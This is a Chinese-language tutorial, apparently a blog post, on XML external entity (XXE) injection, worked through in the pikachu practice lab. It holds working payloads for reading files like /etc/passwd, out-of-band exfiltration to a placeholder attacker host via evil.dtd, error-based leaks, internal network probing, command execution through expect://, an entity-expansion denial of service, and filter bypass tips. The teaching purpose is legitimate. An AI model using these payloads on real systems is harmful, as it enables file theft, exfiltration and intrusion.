image.png

简介

XML基础概念

  • XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE概念

  • XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
  • 例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()

XML与HTML的主要差异

  • XML被设计为传输和存储数据,其焦点是数据的内容。
  • HTML被设计用来显示数据,其焦点是数据的外观。
  • HTML旨在显示信息,而XML旨在传输信息。

XML外部实体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
  • 主要看一下DTD-实体。首先让我们了解一下基本的PAYLOAD结构:
    image.png
  • DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。

    实体分为一般实体和参数实体

    1. 一般实体的声明:<!ENTITY 实体名称 "实体内容">
      引用一般实体的方法:&实体名称;
      p.s.经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
    2. 参数实体的声明:<!ENTITY % 实体名称 "实体内容">
      引用参数实体的方法:%实体名称;
      p.s.经实验,参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。
  • 如果实体名称中出现如<的特殊字符,解析就会失败。为了避免这种情况,XML用实体引用替换特殊字符。XML预定义了五个实体引用,即用<、 >、 &、 &apos、 "替换<>&'"

DTD实体声明

内部实体声明

  • <!ENTITY 实体名称 "实体的值">
  • 当引用一般实体时,由三部分构成:&实体名,当是用参数传入xml的时候,&需URL编码,不然&会被认为是参数间的连接符号。
  • 示例:
    1
    2
    3
    4
    5
    6
        <?xml version = "1.0" encoding = "utf-8"?>
        <!DOCTYPE test [
        <!ENTITY writer "Dawn">
        <!ENTITY copyright "Copyright W3School.com.cn">
        ]>
        <test>&writer;©right;</test>

外部实体声明

  • <!ENTITY 实体名称 SYSTEM "URI/URL">
  • 外部实体可支持http、file等协议。不同程序支持的协议不同,如下图:
    image.png
  • 其中PHP支持的协议会更多一些,但是需要一定的扩展支持:
    image.png
  • 示例:
    1
    2
    3
    4
    5
    6
        <?xml version = "1.0" encoding = "utf-8"?>
        <!DOCTYPE test [
        <!ENTITY file SYSTEM "file:///etc/passwd">
        <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
        ]>
        <author>&file;©right;</author>

XXE检测

  • 以pikachu靶场为例
  • 主要的方法是检测所有接受XML作为输入内容端点,抓包观察其是否会返回我们想要的内容。
  • 首先检测XML是否会被解析
    1
    2
    3
    4
    <?xml version="1.0" encoding="UTF-8"?> 
    <!DOCTYPE ANY [
    <!ENTITY words "Hello XXE !">]>
    <a>&words;</a>
    image.png
  • 如果数据包或者页面显示“Hello XXE”的字样,说明表单实体被成功解析
    image.png

XXE利用

  • 以下利用主要基于libxml2版本,其中libxml是PHP的xml支持。
  • 而libxml版本在2.9.1及以后,默认不解析外部实体,很多利用将无法实现。

文件读取

  • 最简单也是最常用的利用方式
  • 一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。

有回显

引入外部实体

  • 文件读取的利用就是使用file协议读取文件内容,并输出到页面上
    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY[
    <!ENTITY xxe SYSTEM "file:///d:/zys.txt">
    ]>
    <root>&xxe;</root>
    image.png

引入外部参数实体

1
2
3
4
5
6
7
8
9
<?xml version="1.0" ?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "http://192.168.3.3/pikachu/vul/xxe/hack.dtd">
%file;
]>
<root>&xxe;</root>

<!-- hack.dtd -->
<!ENTITY xxe SYSTEM 'file:///d:/zys.txt'>

无回显

OOB

  • 带外数据OOB(out—of—band data),有时也称为加速数据(expedited data)
  • 是指连接双方中的一方发生重要事情,想要迅速地通知对方。这种通知在已经排队等待发送的任何“普通”(有时称为“带内”)数据之前发送。带外数据设计为比普通数据有更高的优先级。带外数据是映射到现有的连接中的,而不是在客户机和服务器间再用一个连接。
  • 先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
  • evil.dtd的内容,内部的%号要进行实体编码成&#x25
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <!DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
    %dtd;
    %send;
    ]>
    <root>$send;</root>

    <!-- evil.dtd -->
    <!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
    >
    %all;
  • 首先对dtd引用目的是将外部文件evil.dtd引入到解释上下文中,然后执行%all,这时会检测send实体,在root节点中引用send,就可以成功实现数据转发了。
  • 访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

基于报错

  • 基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
  • 所以和OOB的构造方式几乎只有url处不同,其他地方一模一样。
通过引入服务器文件
1
2
3
<!-- evil.dtd --> 
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;
通过引入本地文件
  • 如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?xml version="1.0"?> 
    <!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> <!ENTITY % ISOamso '
    <!ENTITY &#x25; eval "
    <!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>
    ">
    &#x25;eval;
    &#x25;send;
    '>
    %remote;
    ]>
    <message>1234</message>
  • 第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send

内网探测

  • 和读文件差不多,只不过把URI改成内网机器地址
  • 通过有xxe漏洞的网站,向其服务器内网进行判断是否开放,并且index.txt是否存在
    1
    2
    3
    4
    5
    6
    <?xml version ="1.0" encoding="UTF-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT xxe ANY>
    <!ENTITY test SYSTEM "http://192.168.3.3:80/index.txt">
    ]>
    <x>&test;</x>

RCE

  • 在安装expect扩展的PHP环境里执行系统命令,当然其他协议也有可能可以执行系统命令
    1
    2
    3
    4
    5
    6
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "expect://id" >
    ]>
    <root><name>&xxe;</name></root>

DDoS

  • 支持实体测试:
    1
    2
    3
    4
    5
    6
    7
    <!DOCTYPE data [
    <!ELEMENT data (#ANY)>
    <!ENTITY a0 "dos" >
    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
    ]>
    <data>&a2;</data>
  • 如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。

绕过姿势

  • ENTITYSYSTEMfile等关键词被过滤
  • 使用编码方式绕过

参考自:CTF XXEXXE知识总结,有这篇就够了!XXE&XML外部实体注入攻击